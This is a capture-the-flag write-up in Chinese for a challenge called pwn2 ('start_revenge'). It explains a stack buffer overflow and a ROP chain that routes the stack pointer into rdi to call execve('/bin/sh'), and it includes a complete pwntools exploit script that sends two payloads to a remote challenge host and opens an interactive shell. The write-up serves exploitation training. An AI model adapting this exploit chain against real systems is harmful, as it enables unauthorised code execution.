Skip to content

Latest commit

 

History

History
53 lines (43 loc) · 2.2 KB

pwn2.md

File metadata and controls

53 lines (43 loc) · 2.2 KB

pwn2

本題可以buffer overflow進行ROP攻擊,rax可控,/bin/sh必須包含在payload中放到stack上,而rsp只能傳遞到rsi,因此先試著用execveat(0, '/bin/sh, 0, 0, 0)呼叫。

但嘗試的過程中發現execveat()的第5個參數(flag)需為0,在r8,且`r8被設為字串不可控制,因此放棄此作法。

若要exec(),則rsp必須傳遞到rdi,但並沒有mov rdi, rsi的gadget可用,最後是在第一次payload中先returnread_input中的mov rdx, rsirsi傳遞至rdx,讀取輸入(送空白),再跳回到main開頭,push rdx然後一路回到read_input,此時stack如下:

-------stack frame---------|--payload2--
rdx      -- main (&/bin/sh)| ---------stop here
rsi                        | pop rdi
rdi                        | SYS_exec
0x4000a9 -- magic          | pop rax (any)
rbp          --->          | ...
0x4000dc -- read_input     | ...

rsp -> rsi -> rdx -> stack -> rdi

再次buffer overflow,蓋掉部份目前的frame,使其從magic return時跳至gadget,而先任意pop一個暫存器(exploit中直接在此時將rax設為exec()的syscall),接著再retmain尾部的pop rdi,此時原本的rdx(rsp)就會傳遞到rdi,之後再將rsi, rdx都設定為0,然後跳至syscall即可。

注意payload2會蓋掉原本payload1中的/bin/sh,需要計算好相對位置再包在payload2裏面送。

exploit

#!/usr/bin/env python3
from pwn import *

context.update(arch='amd64', os='linux')
binary = ELF('start_revenge')
rop = ROP(binary)

payload = b'/bin/sh\x00'
payload += cyclic(56 - len(payload)).encode()
payload += p64(0x400116) # rsp -> rdx
payload += p64(0x4000a1) # push rdx -> #2ndpayload
payload += p64(0) # rsi = 0
payload += p64(0) # rdx = 0
payload += flat(rop.rax.address, constants.SYS_execve)
payload += p64(0x4000bf) # execve

payload2 = b''
payload2 += cyclic(16 - len(payload2)).encode()
payload2 += b'/bin/sh\x00'
payload2 += cyclic(56 - len(payload2)).encode()
payload2 += flat(rop.rax.address, constants.SYS_execve)
payload2 += p64(0x4000a9) # pop rdi; pop rsi; pop rdx;

r = remote('10.13.2.43', 20739)
r.send(payload)
r.send(b'')
r.send(payload2)
r.interactive()